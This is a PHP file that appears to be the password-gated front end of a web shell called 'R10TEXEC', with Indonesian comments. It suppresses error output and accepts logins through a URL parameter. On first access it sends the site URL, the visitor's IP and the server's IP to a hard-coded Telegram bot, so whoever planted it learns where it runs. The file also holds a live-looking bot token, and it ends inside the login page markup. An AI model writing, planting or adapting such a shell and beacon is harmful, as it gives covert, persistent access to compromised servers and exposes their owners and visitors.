session_start();
// ================= Default Passwords =================
$passwords = '$2y$10$.avjMDs6Huacr..449Z8ru6SGW7svz/o6W0xR2mZ1mQDnGN484Oz2';
// ================= Auth Config =================
$auth = [
"enabled" => true // true = aktifkan auth, false = nonaktifkan
];
ini_set('display_errors', 'Off'); // Hide errors from display
$passwords1 = '$2y$10$.avjMDs6Huacr..449Z8ru6SGW7svz/o6W0xR2mZ1mQDnGN484Oz2';
$passwords2 = '$2y$10$.avjMDs6Huacr..449Z8ru6SGW7svz/o6W0xR2mZ1mQDnGN484Oz2';
session_start();
// ---------------- CONFIG ---------------- //
$botToken = '8533483012:AAFCBnsnAJaF8y0mWpV3ehnHh4_AYCdM9fg'; // ganti
$chatId = '7660574243'; // ganti
if (!isset($_SESSION['telegram_sent'])) {
// ---------------- AMBIL DATA ---------------- //
$url = (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https' : 'http')
. '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];
$date = date('Y-m-d H:i:s');
// fungsi ambil IP pengunjung
function getVisitorIP() {
$keys = [
'HTTP_CLIENT_IP',
'HTTP_X_FORWARDED_FOR',
'HTTP_X_FORWARDED',
'HTTP_X_CLUSTER_CLIENT_IP',
'HTTP_FORWARDED_FOR',
'HTTP_FORWARDED',
'REMOTE_ADDR'
];
foreach ($keys as $key) {
if (!empty($_SERVER[$key])) {
$ipList = explode(',', $_SERVER[$key]);
foreach ($ipList as $ip) {
$ip = trim($ip);
if (filter_var($ip, FILTER_VALIDATE_IP)) return $ip;
}
}
}
return 'Unknown';
}
$visitorIp = getVisitorIP();
$serverIp = $_SERVER['SERVER_ADDR'] ?? gethostbyname(gethostname());
// ---------------- SIAPKAN PESAN ---------------- //
$message = "š¢ *New Access*\n";
$message .= "*URL:* $url\n";
$message .= "*TANGGAL:* $date\n";
$message .= "*IP PENGUNJUNG:* $visitorIp\n";
$message .= "*IP SERVER:* $serverIp\n";
// ---------------- KIRIM KE TELEGRAM ---------------- //
$sendUrl = "https://api.telegram.org/bot{$botToken}/sendMessage";
$postFields = [
'chat_id' => $chatId,
'text' => $message,
'parse_mode' => 'Markdown'
];
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $sendUrl);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postFields);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
$response = curl_exec($ch);
curl_close($ch);
// tandai session sudah dikirim
$_SESSION['telegram_sent'] = true;
}
// ================= Logout =================
if (isset($_GET["logout"])) {
session_destroy();
header("Location: " . $_SERVER["PHP_SELF"]);
exit();
}
// ================= Login via POST =================
if ($auth["enabled"] && isset($_POST["password"])) {
if (
password_verify($_POST["password"], $passwords) ||
password_verify($_POST["password"], $passwords1) ||
password_verify($_POST["password"], $passwords2)
) {
$_SESSION["logged_in"] = true;
header("Location: " . $_SERVER["PHP_SELF"]);
exit();
}
$error = "ā PASSWORD SALAH BOY";
}
// ================= Login via GET =================
// bisa login via ?login=password
if ($auth["enabled"] && isset($_GET["login"])) {
$login_pass = $_GET["login"];
if (
password_verify($login_pass, $passwords) ||
password_verify($login_pass, $passwords1) ||
password_verify($login_pass, $passwords2)
) {
$_SESSION["logged_in"] = true;
header("Location: " . $_SERVER["PHP_SELF"]);
exit();
}
}
// ================= Check Auth =================
if ($auth["enabled"] && !isset($_SESSION["logged_in"])) {
echo '<!DOCTYPE html>
<html lang="en">
<meta charset="UTF-8">
R10TEXEC<title>R10TEXEC</title>
<script src="https://cdn.tailwindcss.com"></script>
<style>
body {
background: #0a0a0f;
color: #0ff;
font-family: \'Courier New\', monospace;
height: 100vh;
display: flex;
align-items: center;
justify-content: center;
overflow: hidden;
}
.glow-text { text-shadow: 0 0 5px #0ff, 0 0 10px #0ff, 0 0 20px #0ff, 0 0 40px #0ff; }
.input-glow { background: #111; border: 1px solid #0ff; color: #0ff; outline: none; }
.input-glow:focus { border-color: #0ff; box-shadow: 0 0 10px #0ff; }
button.glow-btn { background: #0ff; color: #000; font-weight: bold; transition: 0.2s; }
button.glow-btn:hover { background: #00e5ff; box-shadow: 0 0 15px #0ff; }
.animate-flicker { animation: flicker 1.5s infinite; }
@keyframes flicker { 0%,19%,21%,23%,25%,54%,56%,100% {opacity:1;} 20%,22%,24%,55% {opacity:0.3;} }
</style>
<div class="w-96 p-8 rounded-xl bg-[#111] border border-cyan-600 shadow-lg glow-text animate-flicker">';
if (isset($error)) {
echo '<div class="bg-red-700 text-white p-2 mb-4 rounded text-center">' . $error . '</div>';
}
echo '
<p class="mt-4 text-center text-gray-400 text-sm">© 2025 R10TEXEC</p>
</div>